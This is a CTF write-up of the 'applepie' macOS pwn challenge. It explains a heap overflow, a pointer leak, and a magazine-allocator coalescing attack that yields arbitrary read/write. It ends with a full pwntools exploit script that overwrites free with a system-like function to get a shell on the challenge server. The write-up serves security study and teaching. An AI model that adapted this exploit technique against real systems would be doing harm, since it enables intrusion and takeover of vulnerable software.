Intro

This challenge was released toward the end of the ctf and posed several interesting challenges which had to be overcome for acquiring the flag.

We were presented with a zip archive containing multiple files:

applepie       
applepie.sb    
libsystem_c.dylib  
libsystem_malloc.dylib  
README.md      
wrapper.sh 

The core of the challenge is certainly the wonderful position independent Mach-O 64-bit x86_64 executable named “applepie”. According to the README file, it is supposed to run on macos 10.14.3 (Mojava). The other files are some standard libraries, a sandbox file restricting us to call only ls, cat and sh from the binary (read: after exploitation), and a wrapper script putting it all together.

At this point, it is clear that “apple” in the title does not only refer to a pastry style, but also to a vendor for lifestyle expressing computing machinery. This combined with the category (pwn) woke our excitement and interest: We gotta exploit in an environment unfamiliar to us, in one of the hardest CTFs of the year? We’re in. Totally.

Luckily, we had a (somewhat malfunctioning) device with the desired operating system at hand, preventing a possibly tedious setup phase. However, let’s first fire up the reverse engineer environment of our choice and have a look at the file.

Oh binary, what are thou?

The functionality of the binary is very intuitive, we can manage up to 10 objects that have a style, shape, update_time, and name. The style can be picked among the overwhelming choices of dutch, english, french, swedish, and american, and there are even also 5 great options for the shape: circle, star, heart, square, and triangle. A first intuition is that these are actually apple pies, but then again, who has ever heard of a star-shaped, american apple pie? Each of these “things” also has a name, which can be up to 1024 characters long. The 16-bit user-specified, unsigned length and the pointer to the name are saved along with the rest in a 0x28-byte large structure:

00000000 thing           struc ; (sizeof=0x28, mappedto_25)
00000000 style           dq ?
00000008 shape           dq ?
00000010 update_time     dq ?
00000018 size            dd ?
0000001C                 db ? ; undefined
0000001D                 db ? ; undefined
0000001E                 db ? ; undefined
0000001F                 db ? ; undefined
00000020 name            dq ?                    ; offset
00000028 thing           ends

When adding a “thing” (We refuse to call anything star-shaped a pie!), we first allocate the 0x28 byte “thing” structure, and then an up to 1024 byte large buffer for the name. The pointer to the newly allocated structure is saved in a global array.

Like any great CTF challenge, this challenge also has an update and delete function. The delete function is pretty straightforward; it first calls free() on the name pointer, zeroes it out, then calls free() on the structure pointer, and zeroes it out in the global array. On the other hand, the update function is much more interesting:

int update()
{
  thing *thing; // [rsp+10h] [rbp-10h]
  int size; // [rsp+18h] [rbp-8h]
  int index; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  index = read_int();
  if ( index < 0 || index >= 10 || !slots[index] )
    print_error();
  thing = slots[index];
  thing->style = read_style();
  thing->shape = read_shape();
  thing->update_time = time(0LL);
  printf("Size: ");
  size = read_int();
  if ( size < 0 || size > thing->size + 0x18 )
    print_error();
  printf("Name: ");
  read_n(thing->name, size);
  return puts("Success!");
}

The vulnerability lies in the glaringly obvious heap overflow on the name buffer; we can write up to 0x18 bytes out of bounds! So we just do straight-forward heap exploitation and win, right?

Errr… no. It’s apple, remember?

This pie is leaking

So let’s first see, what we can corrupt. If we allocate two consecutive things, we might end up with a memory layout a bit like the following:

[ 0x28: thing_struct 1 ] [ 0xXX: name 1 ] [ 0x28: thing_struct 2 ] [ 0xYY: name ]  

Writing out of bounds on the name of the first thing into the struct of the second thing seems like a good idea at the time, especially as there are sizes and pointers in there, but alas, the authors of this challenge in their endless evilness^Wwisdom have fine-tuned the overwrite limit precisely so that we can’t touch the size or the name pointer with just 0x18 bytes.

gif of mc hammer dancing to can't touch this

However, the style and shape fields are 64-bit indices into tables of string pointers in the data section, and with our out-of-bounds write we can set them arbitrarily. The only constraint we have, when leaking this way, is that we need a pointer to a pointer that we can call printf("%s") on, at a constant offset to the data section. Investigating the binary, we found two pointers of utmost interest in the got section:

__got:0000000100002018 ; FILE **__stdinp_ptr
__got:0000000100002018 ___stdinp_ptr   dq offset ___stdinp     ; DATA XREF: start+11↑r
__got:0000000100002020 ; FILE **__stdoutp_ptr
__got:0000000100002020 ___stdoutp_ptr  dq offset ___stdoutp    ; DATA XREF: start+33↑r

We decided to leak the stdinp via the shape of a partially overwritten victim chunk Y, as demonstrated below:

    # ==== stdinp leak ===
    add('X'*n)
    add('Y'*n)
    add('Z'*n)
    
    pl = fit(
        { 
        0x10: p64(1), # style
        0x18: p64(-22,sign='signed'), # shape
        0x20: p64(0xdeadbeef), # time
        #40: p64(0x40404040) # Can't touch this :(
    }, length=n+0x18)
    
    update(0, pl)
    layout_test = show(1)

    leak = layout_test[1]
    leak = u64(leak.ljust(8,'\x00'))
    leak_segment_base = leak - 0x41a8

Note the -22 for the shape? Exactly, this is the offset in qwords to __stdinp_ptr However, just with this leak alone, we are far from a working exploit, so we had to revisit the primitives we have on the heap.

Gaining the white belt in quantum heap-fu

meme of howard wolowitz captioned let's talk about quantum heap

This is about as far as we get without understanding more of the macos heap allocator. While it’s not as extensively documented from an exploitation side as ptmalloc, there´s a few good and not-so-outdated resources for the macos magazine allocator, so if you haven’t already, these are well worth a read as they also guided our basic understanding for this challenge:

While giving a full introduction to apple’s heap implementation would exceed the boundaries of this write-up, we try our best to explain the bits and pieces neccessary for understanding our exploit.

Generally speaking, a interesting feature of the macos zone allocator is that it quantizes each zone into a list of “quantums” to store data. As our objects of interest are all smaller than 1008 bytes, the scene of our exploit is the tiny zone, which consists of quantums with Q=16 bytes. This means that our “thing” struct will be put in a 3 Q-sized chunk on the heap, while we have control over the chunk size for names. Furthermore, we may be able to corrupt meta-data of a free’d chunk with the overflow described above.

However, exploitation via direct corruption of forward and backward pointers like in ptmalloc is not easily possible with the zone allocator, as the pointers are mangled with an extremely random and completely un-brute-forceable 4-bit heap cookie.

However, with chunks larger than 1 Q, the zone allocator also saves some plaintext information for the coalescing code-path in the chunk.

A freed 3 Q chunk looks like this:

    .---------.----------.
1 Q |  fd_ptr |  bk_ptr  |  
    |----.----^----------|
2 Q | fq |               |
    |----^----------.----|
3 Q |               | bq |
    *---------------^----*

The fq and bq are the number of quanta to skip over when coalescing forward or backward respectively. Coalescing forward can be triggered by freeing a chunk directly before the free chunk, and coalescing backward can be triggered by freeing the chunk directly following. In our case, we can corrupt the fq field, so we are interested in the forward coalescing case. When coalescing, we can set fq to a larger number, as long as it aligns with a following, non-free chunk to stop coalescing. This way, we can craft a chunk-in-chunk style attack, where the middle of a chunk we allocate is still under our control. One small caveat though, when coalescing, fd_ptr and bk_ptr are checked, but these can be NULL as long as the 4 bit canary (in the most significant 4 bits) is correct, which it will be in approximately 7% of cases.

Letting the pieces fall in place.

Here’s a picture of us while drawing the final heap layout we want to achieve:

meme of pepe silva showing the heap layout plan

Of particular interest is the following detail excerpt of the above image:

.--------.--------. -\
| style  | shape  |   |
|--------|----.---|   |
| time   | sz |:::|    >  X (3Q): struct used for overwriting into leak chunk
|--------|----*---*   |
| *name  |            |
*........*          -/
.-----------------. -\
|   Name for ^    |    >    (1Q): Name used for out of bounds write into leak
*-----------------* -/

.--------.--------. -\
| style  | shape  |   |
|--------|----.---|   |
| time   | sz |:::|    >  Y (3Q): leak chunk
|--------|----*---*   |
| *name  |            |
*........*          -/
.-----------------. -\
|   Name for ^    |    >    (1Q): Name of Y
*-----------------* -/

.--------.--------. -\
| style  | shape  |   |
|--------|----.---|   |
| time   | sz |:::|    >  Z (3Q): placeholder
|--------|----*---*   |
| *name  |            |
*........*          -/
.-----------------. -\
|   Name for ^    |    >    (1Q): Name of Z
*-----------------* -/

.--------.--------. -\
| style  | shape  |   |
|--------|----.---|   |
| time   | sz |:::|    >  A (3Q): used for triggering forward coalesce
|--------|----*---*   |
| *name  |            |
*........*          -/
.-----------------. -\
|                 |   |
|                 |   |
|                 |    >    (3Q): name of A
|                 |   |
|                 |   |
*-----------------* -/

.--------.--------. -\
| style  | shape  |   |
|--------|----.---|   |
| time   | sz |:::|    >  B (3Q): out-of-bounds write target
|--------|----*---*   |
| *name  |            |
*........*          -/
.-----------------. -\
|                 |   |
|                 |   |
|                 |    >    (3Q): name of B
|                 |   |
|                 |   |
*-----------------* -/

.--------.--------. -\
| style  | shape  |   |
|--------|----.---|   |
| time   | sz |:::|    >  C (3Q): future chunk-in-chunk for arbitrary r/w
|--------|----*---*   |
| *name  |            |
*........*          -/
.-----------------. -\
|                 |   |
|                 |   |
|                 |    >    (3Q): name of C
|                 |   |
|                 |   |
*-----------------* -/

.--------.--------. -\
| style  | shape  |   |
|--------|----.---|   |
| time   | sz |:::|    >  D (3Q): coalesce end target
|--------|----*---*   |
| *name  |            |
*........*          -/
.-----------------. -\
|                 |   |
|                 |   |
|                 |    >    (3Q): name of D
|                 |   |
|                 |   |
*-----------------* -/

.--------.--------. -\
| style  | shape  |   |
|--------|----.---|   |
| time   | sz |:::|    >  E (3Q): end placeholder
|--------|----*---*   |
| *name  |            |
*........*          -/
.-----------------. -\
|                 |   |
|                 |   |
|                 |    >    (3Q): name of E
|                 |   |
|                 |   |
*-----------------* -/

After leaking relative to the data section using X, Y, and Z, we use chunks A to E as well as their assorted name buffers to achieve an arbitrary read/write primitive. First, we free chunks B and D (X, Y, Z omitted for clarity):

.--------.--------. -\
| style  | shape  |   |
|--------|----.---|   |
| time   | sz |:::|    >  A (3Q): used for triggering forward coalesce
|--------|----*---*   |
| *name  |            |
*........*          -/
.-----------------. -\
|                 |   |
|                 |   |
|                 |    >    (3Q): name of A
|                 |   |
|                 |   |
*-----------------* -/

.--------.--------. -\
| fd_ptr | bk_ptr |   |
|----.---^--------|   |
| fq |            |   |   <--- this fq pointer is going to be overwritten
|----*            |   |
|                 |   |
|                 |   |
|                 |   |
|                 |   |
|                 |   |
|                 |    >    (6Q): B freed
|            .----|   |
|            | bq |   |
*-----------------* -/

.--------.--------. -\
| style  | shape  |   |
|--------|----.---|   |
| time   | sz |:::|    >  C (3Q): future chunk-in-chunk for arbitrary r/w
|--------|----*---*   |
| *name  |            |
*........*          -/
.-----------------. -\
|                 |   |
|                 |   |
|                 |    >    (3Q): name of C
|                 |   |
|                 |   |
*-----------------* -/

.--------.--------. -\
| fd_ptr | bk_ptr |   |
|----.---^--------|   |
| fq |            |   |
|----*            |   |
|                 |   |
|                 |   |
|                 |   |
|                 |   |
|                 |   |
|                 |    >    (6Q): D freed
|            .----|   |
|            | bq |   |
*-----------------* -/

.--------.--------. -\
| style  | shape  |   |
|--------|----.---|   |
| time   | sz |:::|    >  E (3Q): end placeholder
|--------|----*---*   |
| *name  |            |
*........*          -/
.-----------------. -\
|                 |   |
|                 |   |
|                 |    >    (3Q): name of E
|                 |   |
|                 |   |
*-----------------* -/

We can then write out of bounds using thing A, setting the forward coalesce size of free chunk B to 18 Q, then trigger a forward coalesce by freeing A:

.--------.--------.            -\
| fd_ptr | bk_ptr |              |
|----.---^--------|              |
| fq |            |              |
|----*            |              |
|                 |              |
|                 |              |
|                 |              |
|                 |              |
|                 |  <---  A freed
|                 |              |
|                 |              |
|                 |              |
|.................|              |
| 18 |   ^        |  <---  overwritten fq of B used by consolidation
|----    |        |        consolidates through until the end of D
|        |        |              |
|        |        |              |
|        |        |              |
|        |        |              |
|      (6Q)       |              |
|        |        |              |
|        |        |              |
|        |        |              |
|        |        |              |
|        v        |              |
|   .--------.--------. -\       |
|   | style  | shape  |   |      |
|   |--------|----.---|   |      |
|   | time   | sz |:::|    >  C (3Q): chunk-in-chunk for arbitrary r/w
|   |--------|----*---*   |      |
|   | *name  |            |      |
|   *........*          -/       |
|   .-----------------. -\       |
|   |                 |   |      |
|   |                 |   |      |
|   |                 |    >    (3Q): name of C
|   |                 |   |      |
|   |                 |   |      |  
|   *-----------------* -/       |
|        ^        |              |
|        |        |              |
|        |        |              |
|        |        |              |
|        |        |              |
|        |        |              |
|      (6Q)       |              |
|        |        |              |
|        |        |              |
|        |        |               >       24Q  consolidated "free" chunk
|        |   .----|              |
|        v   | bq |              |
*-----------------*            -/

.--------.--------. -\
| style  | shape  |   |
|--------|----.---|   |
| time   | sz |:::|    >  E (3Q): end placeholder
|--------|----*---*   |
| *name  |            |
*........*          -/
.-----------------. -\
|                 |   |
|                 |   |
|                 |    >    (3Q): name of E
|                 |   |
|                 |   |
*-----------------* -/

The next allocation of a thing struct (3Q) and a name that will fit into the remaining 21Q (anything above 9Q should do, as long as there are no fitting holes to be filled in the heap) will result in a name buffer that contains the target structure C, allowing us to arbitrarily overwrite its name pointer using the update function on C. We can leak from this pointer using the show function and write to it using the update function. Finally, we can also call free on an arbitrary pointer by calling delete on C - the name buffer gets freed first.

From theory to practise

sheet of paper on a wall: Theory is when you know everything but nothing works. Practice is when everything works and no one knows why. In our lab, theory and practice are combined: nothing works and no one knows why

We have a strategy to achieve arbitrary r/w by controlling the name-pointer of victim block C. So far, so good. However, as usual, it was not possible to directly build an exploit for us without any means of debugging.

But, as you may remember from the beginning of the post, we are not familiar with the execution environment. This also means, that we are not familiar with the existing tooling for macos exploitation at all, and we needed some time to get something up and running.

GDB on macos isn’t as straightforward as expected - while it should work, several codesigning attempts (this doesn’t work on mojave anmore), taskgated(8) restarts, reboots to en-/disable system integrity protection and long time figuring out how to add the com.apple.security.cs.debugger entitlement later, we gave up and left this dumpster fire behind.

meme: disaster girl leaves gdb behind
The debugger of choice on macos is lldb, the LLVM debugger. At first, it’s extremely awkward to use compared to gdb, but its command line syntax is surprisingly sane for a debugger. One thing missing is support for something similar to gef or peda, but luckily there’s voltron, a python script that hooks into lldb and exposes a socket for external convenience scripts to attach. For example, voltron view mem displays a “live” hexdump of memory with change tracking, a register view, and so on. It’s extremely hacky, but meh — it works pretty well, and lldb ships with great python support.

screenshot of voltron debugging

voltron looks pretty neat

The logical next step to achive is some tooling for introspecting the state of the heap. In the beginning, we tried to use the the much praised macos heap introspection tooling. While lldb ships with a helper script, lldb.macosx.heap, it turned out to be impeding our exploit development attempts, as it executes code in the context of the target, which in turn mallocs around on the heap and messes up our heap layout.

There’s also MacHeap by @1blankwall1, but we never figured out how to make that work (are you starting to see a pattern here?).

So, in the end we needed to fall back to good old manual work of writing one liners to convienently stare at hexdumps.

almost redneck meme captioned lldb scripts? there's bash oneliners for that

Some ps and vmmap (the macos equivalent to /proc/<pid>/maps) parsed with grep and cut later, we have a rather long oneliner that opens up the tiny allocation zone in voltron’s memory view.

Equipped with this rudimentary tooling, we could finally move on to exploitation. However, we had several issues with our strategy, which could be sorted out thanks to our “superior” debugging environment. Firstly, as it turns out, the heap layout is not neccesarily deterministic, and two subsequent runs could have a different layout: In one run, everything was aligned as described above, while in another run the blocks X, Y, and Z where used to fill some holes in the heap. We believe this is due to initialization code migrating across CPU cores (the magazine allocator maintains one magazine per core) before mag_set_thread_index() is called to “pin” the allocator to a specific core - if you want to know more, go ahead and dive into the libmalloc source code. To accout for this minor … inconvenience … we check directly in the beginning if our overwrite for the leak succeed - as the leak required the heap layout to be linear, a working leak was a good indication of a linear heap layout:

    assert(layout_test[0] == 'English')

Having all issues out of the way, we could successfully implement our strategy and overwrite the name-pointer of the victim chunk C with the beloved value of 0xdeadbeef. At this point, the applepie was speaking SEGFAULT to us, but the magical journey into its internals has not ended just yet.

From arbitrary r/w to shell

To sum up, all we did until now gave as a repeatable arbitrary read-write primitive by modifying and showing the name of a thing. Hence, the last step, as usual, is to leverage this into a fullblown shell or at least in a $ cat flag equivalent.

Little kid diving head-first into shallow water: I must go, shell city needs me

However, the executable is position independent (it’s apple pie, right), and so far, we only have a leak for the location of stdinp/stdoutp. ASLR on macos is quite funny, as the base address for everything except libraries are randomized per execution - the base address for libraries, on the other hand, is randomized per device boot, leading to some interesting side effects discussed in a bit.

With our debugger setup, we looked around the known location of the stdinp-struct to search for something which looks like the binary base. Indeed, we could find something which looked like a pointer to our binary close by, which we could confirm to be also present at the same location on the remote side. However, sometimes this pointer contained characters messing up the output of the program, for instance nullbytes. As a result, we added some quick and dirty step in our exploit code to verify that the binary base of the current run is usable for us.

    maybe_bin_base_off = 0x100000000
    bin_base_tmp = more_leak[3]
    bin_base = u64('\x00'+more_leak[3].ljust(7,'\x00')) 
    if bin_base <  maybe_bin_base_off:
        bin_base += maybe_bin_base_off

    assert( bin_base != maybe_bin_base_off)

Not beautiful, but it does the job.

Now that we have the base of the binary, we could easily leak a pointer to libc from its la_symbol_ptr-segment, which is the Mach-O counterpart of an ELF’s got.plt. As a nice surprise, the la_symbol_ptr segment is also writeable, so we can use our arbitrary r/w to replace a function there with a libc-function of our choice at this point.

From here, we were confident that the final step is straight-forward: overwrite the pointer to free() with the address of _system(), and then “free” a chunk with the content /bin/sh. Easy, right?

Except … it wasn’t. We were 44 hours into the ctf and it was 3am local time, and our exploit was working locally, but not remote, and we couldn’t explain why. Everything seemed to work, except the call to _system().

To make everything worse, firing our exploit against remote took a while, as we needed everytime a lot of tries to have a working setup for the exploit; we needed a good heap layout, a successfully guessed cookie, and a nice binary base. Should even one of them be wrong, we needed to restart the exploit from the beginning (yes, that is right, for each cookie bruteforce attempt we needed one connection).

So, what do extremely tired and tasteless humans do in situations like this? You guessed it right, panic and waste time discussing the validity of previous steps. (“Do we really need to bruteforce the cookie?")

Fry from Futurama freaking out

Luckily, at some point when looking at the differences between a successful run of the exploit on the local machine, and an almost successful run on the remote machine, we could spot the problem, thanks to our superior logging output of the script! The address of _system() on the remote end contained the byte 0x0a. Experienced players will already see: this is a newline, and depending on the used function for getting user input, can terminate the input. This was exactly what is happening to us - and, thanks to the per-boot library ASLR, for every attempt.

At this point, we asked the organizers if they could reboot their machine - and the refusal to do so confirmed one of our worst fears: this is either a very convenient accident or fully intentional and the organizers spent hours rebooting their machine until the libsystem_c base fell so that _system contained a newline. With only a little bit less than 3 hours on the clock, we had to figure out an alternative exploit strategy.

meme: don't keep calm! Time is running out!

Luckily, we didn’t need too long; Looking again into the libc-binary, we could identify that it exports a second system-like function: _system$NOCANCEL. A quick test on our local machine showed that it works just as the normal _system(), so we changed some offsets, fired the exploit against remote and, according to our memories …

[...]
[*] Writing system
[*] Writing binsh string
[+] trigger
[+] shell
[*] Switching to interactive mode
$ cat /Users/applepie/flag
flag{Are_you_hungry?Ahaaaaaaaa!}

Putting it all together, this is our full exploit (it’s a little bit cleaned with better logging than shown in the snippets above):

from pwn import *
#from IPython import embed as e



I = '192.168.1.33'
P = 8337

I = '111.186.63.147'
P = 6666
q = 16
s = remote(I, P )


def clr():
    return
    s.recvuntil('Choice:')

def add(data, size=None, style=1,shape=1):

    if size == None:
        size = len(data)

    assert(size < 1024)
    clr()
    s.send('1\n')

    # style 
    clr()
    s.send('%d\n' % style)
    # shape
    clr()
    s.send('%d\n' % shape)

    # our guy
    #s.recvuntil('Size:')
    s.send('%d\n' % size)

    s.recvuntil('Name:')
    s.send(data+'\n')

def show(idx):
    clr()
    s.send('2\n')

    #s.recvuntil('Index')
    s.send('%d\n' % idx)

    s.recvuntil('Style: ')
    style = s.recvline(keepends=False)

    s.recvuntil('Shape: ')
    shape = s.recvline(keepends=False)

    s.recvuntil('Update Time: ')
    uptime = s.recvline(keepends=False)

    s.recvuntil('Name: ')
    name = s.recvline(keepends=False)

    return (style, shape, uptime, name)

def update(idx, data, size=None, style=1, shape=1):

    if size == None:
        size = len(data)

    clr()
    s.send('3\n')

    s.recvuntil('Index')
    s.send('%d\n' % idx)

    # style 
    clr()
    s.send('%d\n' % style)
    # shape
    clr()
    s.send('%d\n' % shape)

    # our guy
    s.recvuntil('Size:')
    s.send('%d\n' % size)

    s.recvuntil('Name:')
    s.send(data+'\n')

def dl(idx):
    clr()
    s.send('4\n')

    s.send('%d\n' % idx)

def main():
    n = q
    
    off = 3
    
    # ==== stdinp leak ===
    add('X'*n)
    add('Y'*n)
    add('Z'*n)
    pl = fit(
        { 
        0x10: p64(1), # style
        0x18: p64(-22,sign='signed'), # shape
        0x20: p64(0xdeadbeef), # time
        #40: p64(0x40404040) # Can't touch this :(
    }, length=n+0x18)
    
    update(0, pl)
    layout_test = show(1)


    # ===== sanity check ====
    if layout_test[0] != 'English':
        log.error("heap layout is fucked")
        return

    leak = layout_test[1]
    leak = u64(leak.ljust(8,'\x00'))
    leak_segment_base = leak - 0x41a8
    bin_leak_addr = leak_segment_base + 0x3061

    log.success( "leak @ %x " % leak)
    log.success( "leak_base @ %x " % leak_segment_base)
    log.success( "ptr to bin @ %x " % bin_leak_addr)

    n = q * 3

    add('A'*n) 
    add('B'*n)
    add('C'*n) # victim chunk
    add('D'*n) 
    add('E'*n) 

    dl(off + 1)
    dl(off + 3)

    # --- here we will need to bruteforce on rem --- 
    #cookie = int(raw_input("Cookie pls: "), 16)
    cookie = 0xa0

    pl = fit({ 
        0: p64(0xdeadbeefdeadbeef),
        n+7 : p8(cookie),
        n+15: p8(cookie),
        n+16: p8(3 * 6)
    }, length=n+16+2, filler='\x00')

    update(off+0, pl)

    dl(off + 0) # coascelalteerachilada


    # leak bin base
    pl = fit({ 'laabmaab': p64(1),
               'naaboaab': p64(2),
               'taabuaab': p64(bin_leak_addr),
             
             }, length=q*15)
    add(pl)
    log.success("Cookie was ok.")

    more_leak = show(off+2)

    maybe_bin_base_off = 0x100000000
    bin_base_tmp = more_leak[3]
    bin_base = u64('\x00'+more_leak[3].ljust(7,'\x00')) # + 
    if bin_base <  maybe_bin_base_off:
        bin_base += maybe_bin_base_off

    if bin_base == maybe_bin_base_off:
        log.error("fucking nullbytes")
        return

    log.success( "bin_base @ %x " % bin_base)

    free_offset = 0x2050
    atoi_offset = 0x2040
    system_nocancel_offset = 0x638ed

    # === leak libc-text-ptr (via atoi@la_symbol_ptr) ===
    pl = fit({ 'laabmaab': p64(1),
               'naaboaab': p64(2),
               'taabuaab': p64(bin_base + atoi_offset),
             
             }, length=q*15)
    update(off+0, pl)

    more_leak = show(off+2)

    atoi_addr = u64(more_leak[3].ljust(8,'\x00'))
    libc_base = atoi_addr - 0x5CFD2
    system_nocancel = libc_base + system_nocancel_offset

    log.success("atoi addr @ %x" % atoi_addr)
    log.success("libc base @ %x" % libc_base)
    log.success("system @ %x" % system)

    ### overwrite free
    pl = fit({ 'laabmaab': p64(1),
               'naaboaab': p64(2),
               'taabuaab': p64(bin_base + free_offset),
             
             }, length=q*15)
    update(off+0, pl)

    log.info("Writing system")
    update(off+2, p64(system_nocancel)+'A')

    log.info("Writing binsh string")
    update(off+0, '/bin/shA')

    log.success("trigger")
    dl(off+0)

    s.recvuntil("Choice: Index: ")
    log.success("shell")
    s.interactive()

if __name__ == '__main__':
    main()

Final Notes and Takeaways

Phew. This challenge was insanely fun. There are a few things we want to note down as takeaway from solving it:

  1. Don’t be afraid of strange, weird, or new execution environments. In the worst case, you’ll learn about them. ;)
  2. Try to draw/visualize the heap when exploiting it. It helps.
  3. Always add status information, such as assumed addresses, in your exploit script. Although it costs minimally more time, it can make the difference between flag and no-flag.
  4. Don’t panic. Not even 2h before the end of the CTF. Something we still have to learn as well.

~Writeup, exploit and tasteless utilization of memes by nsr & plonk ~